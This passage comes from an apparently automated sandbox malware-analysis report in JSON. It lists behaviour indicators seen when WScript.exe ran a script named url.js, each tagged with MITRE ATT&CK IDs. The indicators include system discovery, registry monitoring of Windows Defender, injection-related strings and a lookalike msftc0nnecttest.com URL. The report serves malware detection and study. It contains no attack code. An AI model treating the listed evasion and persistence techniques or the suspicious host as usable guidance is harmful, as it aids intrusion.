00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver\" (Indicator: \"ver\") in Source: 00000000-00006996.00000000.69007.4D090000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to copy files (API string)","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-449","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileMoniker\" (Indicator: \"CreateFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00006996.00000000.69007.0C860000.00000002.mdmp, 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Contains the ability to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:6996:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6996:304:WilStaging_02\"\n \"SM0:6996:304:WilStaging_02\"\n \"Local\\SM0:6996:304:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at C5910000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at CAAF0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at CA3F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at CCA30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a009d00000040c7cecafe7f0000@ntdll.dll\"\n \"220023009d00000018c7cecafe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"url.bin\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"WScript.exe\" touched \"JScript Language\" (Path: \"HKCU\\CLSID\\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\")\n \"WScript.exe\" touched \"Windows Defender IOfficeAntiVirus implementation\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\INPROCSERVER32\")\n \"WScript.exe\" touched \"Constructor that allows hosts better control creating scriptlets\" (Path: \"HKCU\\CLSID\\{06290BD1-48AA-11D2-8432-006008C3FBFC}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Parsed Javascript","description":"$34","origin":"Static Parser","relevance":5,"id":"static-25","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00006996-00000C25-47047378]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00006996-00000C25-47867019]\n Observed system executable string:\"%WINDIR%\\system32\\kernel32.dll\" [Source: 00000000-00006996-00000C25-49092136]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method) in Source: 00000000-00006996.00000000.69007.4B780000.00000002.mdmp\n \"Progman\" (Program manager) in Source: 00000000-00006996.00000000.69007.4B780000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1055.011","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"Found string \"Software\\Microsoft\\Active Setup\\Installed Components\\{89820200-ECBD-11CF-8B85-00AA005B4383}\" (Indicator: \"software\\microsoft\\active setup\\installed components\"; in Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547","relevance":5,"id":"string-184","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"WScript.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\" (Filter: 268435461; Subtree: 1)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\crypt32\" (Filter: 268435460; Subtree: 0)\n \"WScript.exe\" monitors \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Policy Manager\" (Filter: 5; Subtree: 1)\n \"WScript.exe\" monitors \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\" (Filter: 5; Subtree: 1)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$35","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 6996)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\url.js\"\n \"WScript.exe\" reads file \"c:\\windows\\fonts\\staticcache.dat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\wscript.exe.mui\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"WScript.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SLC.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\SLC.dll\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SPPC.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\sppc.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.241.210\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \".msftc0nnecttest.com/redirect\"\n Pattern match: \".msftc0nnecttest.com/redirec1\"\n Heuristic match: \"PATHEXT=.COM;.EXE;.BAT;.CM\"\n Heuristic match: \"T=.Ci\"\n Heuristic match: \".BAT;.CM\"\n Pattern match: \"go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&\"\n Pattern match: \"https://wdcp.microsoft.com/wdcp.svc/submitReport\"\n Pattern match: \"http://www.validationtest.contoso.com/test%d.html\"\n Pattern match: \"https://go.microsoft.com/fwlink/?linkid=74409&enterprise=\"\n Pattern match: \"https://go.microsoft.com/fwlink/?linkid=74408&enterprise=\"\n Pattern match: \"https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d\"\n Pattern match: \"https://go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$37","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Remote Access Related","name":"Contains 